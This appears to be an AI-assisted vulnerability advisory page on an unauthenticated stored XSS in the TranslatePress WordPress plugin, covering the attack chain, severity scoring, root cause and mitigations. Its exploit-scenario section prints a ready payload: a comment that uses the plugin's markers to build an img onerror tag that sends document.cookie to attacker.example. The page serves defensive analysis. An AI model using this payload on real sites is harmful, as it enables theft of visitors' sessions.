Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit unauthenticated comment with marker payload
-
Deliverywp_kses passes plain-text markers
-
ExploitPayload stored in WordPress database
-
ExecutionVictim loads page in secondary language
-
Persisttranslate_page() converts markers to angle brackets
-
Impactimg onerror JavaScript executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Three specific conditions must hold simultaneously for exploitation to succeed. First, the target WordPress site must have TranslatePress installed and at least one secondary language configured - the payload only activates during translate_page() rendering, which executes exclusively when content is served in a non-primary language; sites operating in a single language are not affected even if the plugin is installed. Second, WordPress comment submission must be accessible to unauthenticated users, which is the default configuration for most WordPress installations and controlled via Settings > Discussion > 'Anyone can comment.' Third, a site visitor must load the affected page or post in one of the configured secondary languages after the malicious comment has been stored. Exploitation is further constrained by comment moderation workflows - if comments require manual approval, there is a window for administrators to identify and delete the payload before any visitor triggers it - and by the proportion of site traffic that uses secondary languages rather than the default locale. |
| Impact | The reported CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) correctly captures the network accessibility, zero authentication requirement, and scope change to the victim's browser, but the UI:N designation warrants scrutiny. CVSS 3.1 guidance categorizes stored XSS as UI:R because a victim must navigate to the affected page before the payload executes - assigning UI:N inflates the base score by approximately one point; adjusting to UI:R yields roughly 6.1. The scope change (S:C) is well-founded: execution occurs within visitor browsers, a distinct security domain from the WordPress server. No EPSS data was provided. The vulnerability is absent from CISA's KEV catalog and no public exploit code has been identified, removing the most urgent exploitation signals. Despite these limiting factors, the practical attack barrier is very low: WordPress comment submission is open to anonymous users by default, the payload persists until the comment is manually removed, and the technique is straightforwardly reproducible from the published description alone. The primary real-world constraint is that the XSS only fires for visitors viewing the page in a configured secondary language, reducing blast radius on sites with limited multilingual traffic. |
| Exploit ScenarioDerived | An attacker visits any publicly accessible WordPress post with commenting enabled, submits a comment containing the payload #!trpst#img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)#!trpen without authentication, and waits for the comment to be published. When any visitor subsequently loads that page in a configured secondary language, TranslatePress's translate_page() function converts the markers to angle brackets, rendering the comment text as a live <img> tag whose onerror handler fires immediately - silently exfiltrating session cookies or performing other client-side actions within the victim's browser. No public exploit code has been identified at time of analysis, but the attack requires no specialized tooling and is straightforwardly reproducible from the published technical description. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
Stored Cross-Site Scripting in the TranslatePress WordPress plugin (versions up to and including 3.2.5) allows unauthenticated attackers to inject executable HTML into pages viewed in secondary languages by exploiting the plugin's internal translation marker system. Plain-text markers (#!trpst
/ #!trpen#) pass through WordPress's wp_kses sanitizer undetected at comment submission, are stored in the database, and are unconditionally converted to angle brackets during page rendering - materializing attacker-controlled text as live HTML tags such as <img onerror=...>. No public exploit has been identified at time of analysis and the vulnerability does not appear in CISA's Known Exploited Vulnerabilities catalog, but the zero-privilege stored nature of the flaw and the plugin's broad WordPress deployment make it a credible priority for any multilingual site with public commenting enabled.
RemediationAI
The primary fix is to update TranslatePress to a version beyond 3.2.5 once Cozmoslabs publishes a patched release; no fixed version is confirmed in the available data, so administrators should monitor the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fec48853-afa5-4310-be2e-e86c01ece227 and the WordPress.org plugin page for an update. As an immediate compensating control, disabling anonymous comment submission via WordPress Settings > Discussion eliminates the unauthenticated attack surface entirely, with the trade-off of preventing public commenting. If comments must remain open, a WAF rule blocking the literal strings #!trpst
and #!trpen
in comment body content will prevent malicious payload storage without affecting legitimate site functionality. Requiring comment authors to be registered users (Settings > Discussion > 'Comment author must have a previously approved comment' or requiring login) narrows exposure to authenticated accounts and makes injection traceable to a specific user. Temporarily suspending secondary-language rendering removes the execution trigger entirely but disables the plugin's core multilingual functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
TranslatePress uses the proprietary delimiter pair #!trpst
(opening) and #!trpen
(closing) to wrap translatable string boundaries within page output. In includes/class-translation-render.php at lines 538 and 539, the translate_page() function performs an unconditional string replacement of these markers with the < and > characters as part of reconstructing translated HTML. Because the markers consist exclusively of ASCII word characters and punctuation containing no HTML-special characters (<, >, &, or quotes), WordPress's built-in content sanitizer wp_kses evaluates them as inert plain text during comment storage and passes them through without modification. The markers thus survive sanitization and persist in the database. A second-pass filter, remove_tags_from_output(), strips <script> and <style> tags but does not sanitize arbitrary HTML elements such as <img>, leaving event-handler attributes like onerror= executable in visitor browsers. The CWE-79 root cause is the absence of output encoding or tag allowlisting at the final marker-to-angle-bracket substitution point: the translation engine treats its own internal delimiter characters as a trusted back-channel, never accounting for the possibility that user-supplied text submitted via comment forms could pre-encode those same sequences. The affected CPE is cpe:2.3:a:cozmoslabs:translatepress_-_translate_multilingual_sites_with_ai_translation:*:*:*:*:*:*:*:* across all versions through 3.2.5.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
UI:R applied because stored XSS requires a victim to navigate to the page; S:C retained as execution occurs in a distinct browser security context.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting in versions up to and including 3.2.5. The special gettext markers '#!trpst#' and '#!trpen#' are unconditionally rewritten to '<' and '>' by translate_page() in includes/class-translation-render.php (lines 538-539). Because those markers are plain text with no HTML-special characters, an unauthenticated attacker can embed them in a comment; the markers survive wp_kses, and when the post is viewed in a secondary language the substitution turns the attacker's '#!trpst#img ... #!trpen#' into a real <img> tag. remove_tags_from_output() only strips <script>/<style>, so an <img onerror=...> executes in the visitor's browser.
Executive ViewAI
TranslatePress WordPress plugin (versions up to 3.2.5) contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts through multilingual site functionality. Organizations deploying TranslatePress with public comments enabled face immediate risk of visitor data theft, account compromise, and site defacement. No vendor patch currently exists, requiring urgent mitigation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict comment submission to authenticated WordPress users only on affected sites; (2) Disable public comments on pages displayed in secondary languages; (3) Deploy WAF rules to block requests with #!trpst
or #!trpen
markers; (4) Implement Content Security Policy (script-src 'self') to prevent inline script execution; (5) Audit and sanitize existing comments in the database for marker presence; (6) If business risk is unacceptable, consider disabling the TranslatePress plugin until a patch is released.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-62343
GHSA-pvgp-75fv-2h99
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB